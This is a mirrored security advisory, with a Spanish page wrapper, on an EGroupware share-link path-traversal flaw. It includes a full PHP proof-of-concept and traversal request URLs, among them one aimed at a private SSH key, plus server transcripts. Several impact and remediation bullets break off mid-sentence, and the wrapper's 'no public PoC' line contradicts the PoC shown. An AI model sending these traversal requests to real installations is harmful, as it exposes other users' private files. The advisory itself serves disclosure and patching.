GHSA-5F5X-V83G-7F45
Share-scope escape: share.php/<token>/../<path> resolves outside the shared item, exposing the whole directory subtree that contains it
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-5F5X-V83G-7F45 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Share-scope escape: `share.php/<token>/../<path>` resolves outside the shared item, exposing the whole directory subtree that contains it
- ID: EGW-005
- Target: EGroupware, all releases up to and including `26.7.20260702` (verified on `6c767d4e23`; the vulnerable code is unchanged on `master` @ `5434c57276`)
- Severity: High — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (7.5). On *writable* shares add `I:H` (arbitrary write/delete in the same subtree).
- CWE: CWE-22 (Path Traversal) → CWE-863 (Incorrect Authorization)
- Status: CONFIRMED — executable PoC chaining the real, unmodified EGroupware code, plus empirical reachability tests through Apache 2.4.68 and nginx 1.31.3.
---
Summary
A public share link (`share.php/<token>`) is documented and designed to expose **exactly the shared
item**. For a single-file share, the recipient is meant to be able to fetch that one file and
nothing else.
The sub-path of the request is appended to the share's backend URL by `Vfs::concat()`, which
normalises `/../` segments but never asserts that the result stays under the share root. Because
the share token is consumed as part of the VFS *host* component (`vfs://default` . `<token>`) rather
than as a path segment, a `..` in the request path is worth one more level inside EGroupware than it
is to the front-end web server. The result is that
GET /share.php/<valid-token>/../<anything>resolves to `<dirname of the shared path>/<anything>` — the recipient of a link to a single file can
read every file in the directory that contains it, recursively through its whole subtree.
No authentication is required, and no token guessing: the attacker is simply anyone who legitimately
received (or was forwarded) one share link.
---
Affected code
| Step | Location | What happens |
|------|----------|--------------|
| 1 | `share.php:33` → `Api\Sharing::ServeRequest()` (`api/src/Sharing.php:522`) | share request dispatched |
| 2 | `api/src/Sharing.php:566` | `Vfs::mount($this->share['resolve_url'], '/', false, false, true)` — the share backend URL becomes the *entire* fstab, mounted at `/` |
| 3 | `api/src/Sharing.php:568` | `(new Vfs\WebDAV())->ServeRequest('/')` |
| 4 | `api/src/WebDAV/Server.php:228` | `$path_info_raw = substr($_SERVER['REQUEST_URI'], strlen($_SERVER['SCRIPT_NAME']))` — the raw, un-normalised request URI |
| 5 | `api/src/WebDAV/Server.php:235` | `self::_urldecode()` → `%2e%2e` becomes `..` |
| 6 | `api/src/WebDAV/Server.php:237-241` | with `$prefix === '/'` the leading slash is consumed, so `$this->path` = `<token>/../<rest>` — no `..` rejection, no containment check |
| 7 | `api/src/Vfs/WebDAV.php:684` | `$this->base . $options['path']` = `vfs://default` . `<token>/../<rest>` — the token merges into the *host*, not the path |
| 8 | `api/src/Vfs/Base.php:272-340` `resolve_url()` | `Vfs::parse_url()` yields path `/../<rest>`; fstab entry `/` matches; `$relative = '../<rest>'` |
| 9 | `api/src/Vfs.php:1299-1315` `Vfs::concat()` | `while (strpos($ret,'/../') !== false)` pops the preceding segment — and nothing verifies the result is still under the share root |
---
Proof of concept (executed, benign — no network target, no third-party system)
Part 1 — the resolution chain (`poc-share-traversal.php`)
Loads the real `HTTP_WebDAV_Server`, `Vfs::parse_url()`, `Vfs::concat()` and
`Vfs\Base::resolve_url()` from the unmodified tree, mounts the fstab exactly as
`Sharing::ServeRequest()` does, and prints the backend URL each request resolves to.
Share under test: `share_path = /home/alice/shared/report.pdf`,
`resolve_url = sqlfs://alice@default/home/alice/shared/report.pdf`.
baseline: the shared file itself
REQUEST_URI : /share.php/<TOKEN>
WebDAV path : '<TOKEN>'
resolved : sqlfs://alice@default/home/alice/shared/report.pdf => contained
ESCAPE: sibling file (raw ../)
REQUEST_URI : /share.php/<TOKEN>/../salaries.xlsx
WebDAV path : '<TOKEN>/../salaries.xlsx'
vfs url : vfs://default<TOKEN>/../salaries.xlsx
resolved : sqlfs://alice@default/home/alice/shared/salaries.xlsx => ESCAPED the shared file
ESCAPE: sibling file (%2e%2e encoded)
REQUEST_URI : /share.php/<TOKEN>/%2e%2e/salaries.xlsx
resolved : sqlfs://alice@default/home/alice/shared/salaries.xlsx => ESCAPED the shared file
ESCAPE: whole subtree below the share directory
REQUEST_URI : /share.php/<TOKEN>/../private/keys/id_rsa
resolved : sqlfs://alice@default/home/alice/shared/private/keys/id_rsa => ESCAPED the shared file
RESULT: TRAVERSAL CONFIRMEDPart 2 — reachability through a real front-end (the part that decides exploitability)
A front-end web server normalises the URL *path* it uses for routing, but hands PHP the raw
`REQUEST_URI`. So the traversal survives as long as the normalised path still maps to `share.php`.
Measured against `php:8.3-apache` (Apache 2.4.68) and `nginx:alpine` (1.31.3) + `php:8.3-fpm`, with a
probe script echoing the CGI variables:
# Apache 2.4.68
/share.php/TOKEN/../salaries.xlsx -> 200 REQUEST_URI=/share.php/TOKEN/../salaries.xlsx PATH_INFO=/salaries.xlsx
/share.php/TOKEN/%2e%2e/salaries.xlsx -> 200 REQUEST_URI=/share.php/TOKEN/%2e%2e/salaries.xlsx PATH_INFO=/salaries.xlsx
/share.php/TOKEN/pad/../../salaries.xlsx -> 200 REQUEST_URI preserved verbatim
# nginx 1.31.3 + php-fpm — identical
/share.php/TOKEN/../salaries.xlsx -> 200 REQUEST_URI=/share.php/TOKEN/../salaries.xlsx PATH_INFO=/salaries.xlsx
/share.php/TOKEN/%2e%2e/salaries.xlsx -> 200 REQUEST_URI=/share.php/TOKEN/%2e%2e/salaries.xlsx PATH_INFO=/salaries.xlsx`Sharing::get_token()` (`api/src/Sharing.php:98-115`) also parses the raw `REQUEST_URI`, so the
token is still extracted correctly and the share session is created normally.
Scope of the escape — stated precisely
The token counts as a path segment to the web server but is absorbed into the VFS *host* by
EGroupware. That asymmetry is worth exactly one level: a request carrying two net `..` normalises
to a path that no longer maps to `share.php` (verified: 404 on both Apache and nginx). So the
reachable primitive is:
- one directory level up from the shared path, and then
- arbitrary descent below it (`/share.php/<token>/../sub/dir/file` → `<share-dir>/sub/dir/file`, HTTP 200 on both servers).
For the common case — a user shares one document out of a folder — that is the entire folder and
everything beneath it. If the file was shared straight out of the user's home, that is the user's
whole home directory.
---
Impact
- Confidentiality: an unauthenticated holder of one legitimate single-file share link reads every
- Integrity (writable shares): the same path reaches the WebDAV `PUT`/`DELETE` handlers
- Boundary crossed: the entire point of a single-file share is that it exposes one file. This
Aggravating factor (already fixed in `master`, still present in releases)
At `api/src/Sharing.php:558` the WebDAV branch sets `Vfs::$is_root = true` and, in every released
version, never resets it. `Vfs::$is_root` short-circuits the readability check in the sqlfs stream
wrapper (`api/src/Vfs/Sqlfs/StreamWrapper.php:1281`, `api/src/Vfs/StreamWrapper.php:892`), so the
traversed reads are additionally performed with ACL checks disabled. Commit `1bd48e9798`
("make sure to always reset `Vfs::$is_root`") wraps this in `try/finally` on `master` — but that
commit is not in any release, and it does not address the traversal itself, which is
unchanged on `master`.
---
False-positive check (adversarial refutation)
| Objection | Result |
|---|---|
| "The web server strips `../` before PHP sees it." | Refuted empirically. Apache and nginx normalise only the routing path; `REQUEST_URI` reaches PHP verbatim, and EGroupware parses `REQUEST_URI`, not `PATH_INFO`. Transcripts above. |
| "`%2e%2e` never gets decoded." | Refuted. `HTTP_WebDAV_Server::_urldecode()` at `Server.php:235` decodes it before the path is used. |
| "The share token is unguessable, so this needs a secret." | Not a guessing attack. The attacker is a legitimate recipient of one link (or anyone it was forwarded to). Token strength (`Sharing::token()`, 32-char CSPRNG) is irrelevant. |
| "sqlfs ACLs still stop it." | Refuted. Resolution runs in the share owner's user context, and `Vfs::$is_root` is left `true` for the whole request in released versions, skipping the readable check entirely. |
| "There is a containment check somewhere downstream." | Refuted by search. No caller compares the resolved URL against `share_root`/`share_path`; `Vfs::concat()` normalises only. `Vfs\Sharing\StreamWrapper::share2url()` has the same unchecked `Vfs::concat()` pattern. |
| "It's unbounded arbitrary VFS read." | Refuted — and deliberately not claimed. Two net `..` no longer route to `share.php` (404). The bound is one level up plus its subtree; this report claims only that. |
| Prior art | No EGroupware advisory covers `share.php` / share-scope traversal (repository advisories reviewed; the only historical EGroupware traversal is `admin/remote.php`, fixed in 1.8.001). `git log` on `api/src/Sharing.php`, `api/src/Vfs.php` and `api/src/WebDAV/` shows no prior containment fix. |
---
Remediation
- Assert containment after resolution (the actual fix). In `Sharing::ServeRequest()`, or at the
- Reject `..` in the request path before use. In `Sharing::ServeRequest()`, refuse any request
- Do not let the token be absorbed into the URL host. Pass the token as the WebDAV prefix
- Backport `1bd48e9798` (`Vfs::$is_root` reset) to the supported release branches — it is
- Give `Vfs::concat()` a containment-aware sibling (e.g. `concat_within($base, $relative)` returning
Confidence
High. Every hop verified against the unmodified source; the resolution chain executed with the
real EGroupware classes; reachability measured through two production-representative front ends. The
only step not exercised against a live instance is the final sqlfs read, which requires a database —
the resolved backend URL that would be read is shown explicitly by the PoC.
Proof-of-Concept source (`poc-share-traversal.php`)
<?php
/**
* EGroupware share.php path-traversal PoC (static, benign, no network, no DB).
*
* Chains the REAL, unmodified EGroupware code paths:
* 1. HTTP_WebDAV_Server::ServeRequest() (api/src/WebDAV/Server.php) -> $this->path
* 2. Vfs\WebDAV GET: $this->base . $options['path'] -> vfs:// url
* 3. Vfs\Base::resolve_url() -> backend url
* (internally Vfs::parse_url + Vfs::concat, api/src/Vfs.php:1299)
* and shows the resolved backend URL escapes the share root.
*/
error_reporting(E_ERROR | E_PARSE);
$EGW = '/home/aoc/CVEs/egroupware/';
spl_autoload_register(function ($class) use ($EGW) {
if (strpos($class, 'EGroupware\\Api\\') === 0) {
$f = $EGW . 'api/src/' . str_replace('\\', '/', substr($class, 15)) . '.php';
if (file_exists($f)) require_once $f;
}
});
require_once $EGW . 'api/src/WebDAV/Server.php';
use EGroupware\Api\Vfs;
// ---- minimal EGroupware globals the share (anonymous) session provides -------
$GLOBALS['egw_info']['user'] = ['account_lid' => 'anonymous', 'domain' => 'default', 'homedirectory' => ''];
$GLOBALS['egw'] = new class { public $session; function __construct(){ $this->session = new class { public $passwd = ''; }; } };
// ---- stub stream wrapper for the share backend scheme (no DB in this PoC) ----
class StubSqlfs {
public $context;
public static array $seen = [];
function url_stat($url, $flags) { self::$seen[] = $url; return false; }
function dir_opendir($u,$o){ return false; }
function stream_open($u,$m,$o,&$op){ self::$seen[] = $u; return false; }
}
stream_wrapper_register('sqlfs', StubSqlfs::class);
// expose the protected fstab exactly like Sharing::ServeRequest's Vfs::mount(url,'/',false,false,true)
class ShareVfs extends Vfs {
public static function mountShare(string $resolve_url): void { self::$fstab = ['/' => $resolve_url]; }
}
// ---- 1. real WebDAV request-path computation --------------------------------
class PathProbe extends HTTP_WebDAV_Server {
function _check_auth() { return true; }
function http_GET() {} // stop before the real handler
}
function webdav_path(string $script_name, string $request_uri): string {
$_SERVER = ['REQUEST_METHOD'=>'GET','REQUEST_URI'=>$request_uri,'SCRIPT_NAME'=>$script_name,
'HTTP_HOST'=>'egw.example.test','SERVER_NAME'=>'egw.example.test'];
$s = new PathProbe();
ob_start(); $s->ServeRequest('/'); ob_end_clean(); // Sharing.php:568 passes '/'
return $s->path;
}
// ---- scenario ---------------------------------------------------------------
$TOKEN = 'AbCdEf0123456789AbCdEf0123456789'; // one legitimate share token
$SHARE_PATH = '/home/alice/shared/report.pdf'; // what the owner shared
$SHARE_URL = 'sqlfs://alice@default' . $SHARE_PATH; // share['resolve_url']
ShareVfs::mountShare($SHARE_URL);
$cases = [
'baseline: the shared file itself' => "/share.php/$TOKEN",
'ESCAPE: dir listing of share folder' => "/share.php/$TOKEN/../",
'ESCAPE: sibling file (raw ../)' => "/share.php/$TOKEN/../salaries.xlsx",
'ESCAPE: sibling file (%2e%2e)' => "/share.php/$TOKEN/%2e%2e/salaries.xlsx",
'ESCAPE: whole subtree below share dir' => "/share.php/$TOKEN/../private/keys/id_rsa",
'ESCAPE: Apache-safe padded form' => "/share.php/$TOKEN/pad/../../salaries.xlsx",
];
printf("share root : %s\n", $SHARE_URL);
printf("mounted fstab : ['/' => share resolve_url] (Sharing.php:566)\n");
printf("Vfs::\$is_root : %s (set at Sharing.php:558, never reset for this request)\n\n",
Vfs::$is_root ? 'true' : 'false');
$fail = 0;
foreach ($cases as $label => $uri) {
$path = webdav_path('/share.php', $uri); // step 1
$vfs_url = Vfs::PREFIX . $path; // step 2 (WebDAV.php:684 base.path)
$resolved = Vfs::resolve_url($vfs_url, false, false); // no DB: skip symlink cache (adds no containment) // step 3
$escaped = strpos($resolved, $SHARE_URL) !== 0;
printf("%-36s\n REQUEST_URI : %s\n WebDAV path : %s\n vfs url : %s\n resolved : %s\n => %s\n\n",
$label, $uri, var_export($path, true), $vfs_url, $resolved,
$escaped ? 'ESCAPED the shared file <<<' : 'contained');
if ($escaped) $fail++;
}
printf("RESULT: %d/%d requests resolved OUTSIDE the share root -> %s\n",
$fail, count($cases), $fail ? 'TRAVERSAL CONFIRMED' : 'no traversal');
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistegroupware/egroupware |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/EGroupware/egroupware/security/advisories/GHSA-5f5x-v83g-7f45Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
